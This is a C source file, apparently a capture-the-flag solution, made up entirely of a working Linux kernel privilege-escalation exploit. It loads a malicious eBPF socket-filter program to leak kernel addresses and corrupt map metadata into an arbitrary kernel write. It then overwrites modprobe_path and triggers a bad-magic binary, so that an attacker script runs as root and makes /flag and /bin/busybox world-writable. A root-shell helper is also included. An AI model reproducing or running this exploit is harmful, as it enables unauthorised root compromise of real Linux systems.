#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
#include <linux/bpf.h> #include <stdint.h> #include <sys/socket.h> #include <sys/syscall.h> #include "bpf_insn.h"
static inline int bpf(int cmd, union bpf_attr *attr) { return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
struct bpf_insn prog[] = { BPF_LD_MAP_FD(BPF_REG_1, 3), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_IMM(BPF_REG_6, 0), BPF_ALU64_IMM(BPF_LSH, BPF_REG_6, 32), BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),
BPF_MOV64_IMM(BPF_REG_7, 0), BPF_ALU64_IMM(BPF_LSH, BPF_REG_7, 32), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_6), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
BPF_LD_MAP_FD(BPF_REG_1, 4), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8,0), BPF_STX_MEM(BPF_DW,BPF_REG_9,BPF_REG_0,0x0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0xc0), BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8,0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_STX_MEM(BPF_DW,BPF_REG_9,BPF_REG_0,0x0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_9,0), BPF_JMP_IMM(BPF_JNE, BPF_REG_4, 0, 1), BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_9,0), BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0xc0), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_9,0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x110+14*8), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_9,0), BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0x110+14*8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x18), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_9,0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_9,0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
};
#define BPF_LOG_SZ 0x20000 char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
int sockets[2]; int map_fd1; int map_fd2; int prog_fd; uint32_t key; uint64_t* value1; uint64_t* value2;
union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) &prog, .insn_cnt = sizeof(prog) / sizeof(prog[0]), .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) bpf_log_buf, .log_size = BPF_LOG_SZ, };
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
static __always_inline int bpf_map_get_elem(int map_fd, const void *key, void *value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, };
return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
size_t ker_offset;
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
void aaw(int map_fd, size_t addr, size_t val){ size_t key = 0; size_t value[0x1000]; size_t val1 = val & 0xffffffff; val1--; size_t val2 = val >> 32; val2--; value[0] = val1; bpf_map_update_elem(map_fd, &key, value, addr); value[0] = val2; bpf_map_update_elem(map_fd, &key, value, addr+4);
}
int main(){
save_status(); bindCore(0);
int map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (map_fd < 0) perror("BPF_MAP_CREATE");
int expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (expmap_fd < 0) perror("BPF_MAP_CREATE");
prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) { perror("BPF_PROG_LOAD"); } printf("prog_fd == %d\n", prog_fd);
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF");
char s[0x1000]; write(sockets[0], s, 0x100);
size_t key = 0; size_t value[0x1000]; bpf_map_get_elem(expmap_fd, &key, value); printf("leak : %p\n", (void *)value[0]);
ker_offset = value[0] - 0xffffffff820363a0; printf("ker_offset == %p\n", (void *)ker_offset);
printf("map_list == %p\n", (void *)value[1]); size_t map = value[1] - 0xc0; printf("map == %p\n", (void *)map);
size_t modprobe_path = ker_offset + 0xffffffff82a6c240; size_t array_map_get_next_key = ker_offset + 0xffffffff8120e6b0;
value[2] = 0x12345678; value[3] = map + 0x110; value[4] = array_map_get_next_key; value[5] = BPF_MAP_TYPE_STACK + 0x400000000; value[6] = 0xffffffff00002000; value[7] = 0LL; bpf_map_update_elem(expmap_fd, &key, value, BPF_ANY);
write(sockets[0], s, 0x100);
char path[] = "/tmp/a\x00\x00"; size_t val; memcpy(&val, path, 8); aaw(map_fd, modprobe_path, val);
system("touch /tmp/error"); int ef = open("/tmp/error", 2); write(ef, "\xff\xff\xff\xff", 4); close(ef); system("chmod +x /tmp/error");
char shellcode[] = "#!/bin/sh\nchmod 777 /flag\nchmod 777 /bin/busybox\n\x00"; system("touch /tmp/a"); int af = open("/tmp/a", 2); write(af, shellcode, strlen(shellcode)); close(af); system("chmod +x /tmp/a"); system("/tmp/error"); int f = open("/flag", 0); char flag[0x100]; read(f, flag, 0x100); puts(flag);
}
|